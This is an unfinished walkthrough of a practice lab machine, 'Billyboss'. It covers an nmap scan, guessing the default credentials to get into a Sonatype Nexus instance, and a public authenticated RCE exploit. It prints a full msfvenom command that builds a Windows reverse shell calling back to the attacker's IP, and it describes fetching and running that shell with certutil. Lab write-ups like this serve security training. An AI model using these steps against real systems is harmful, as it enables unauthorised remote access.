Billyboss (WIP)

Nmap

sudo nmap 192.168.64.61 -p- -sS -sV                

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     Microsoft ftpd
80/tcp   open  http    Microsoft IIS httpd 10.0
8081/tcp open  http    Jetty 9.4.18.v20190429
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

On port 8081 we have Sonar Nexus Repository manager running on version 3.21.0.05.

http://192.168.64.61:8081/

Guessing the sign in credentials of nexus:nexus gives access to Nexus. Searching for exploits shows an authenticated RCE on exploit-db.com

Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)Exploit Database

First I created a reverse shell with msfvenom to connect on port 21. msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.64 LPORT=21 -f exe > /home/kali/windows/shell.exe

Then set a Python SimpleHTTPServer on my attacking machine to host the shell. After doing so I edited the exploit code to include the credentials we have and to execute cmd.exe and certutil.exe to download the reverse shell from my attacking machine.

After doing this and confirming from my attacking machine that the shell was downloaded I then edited the exploit code to call cmd.exe again and execute the shell.

In which we receive. a shell back on our netcat listener.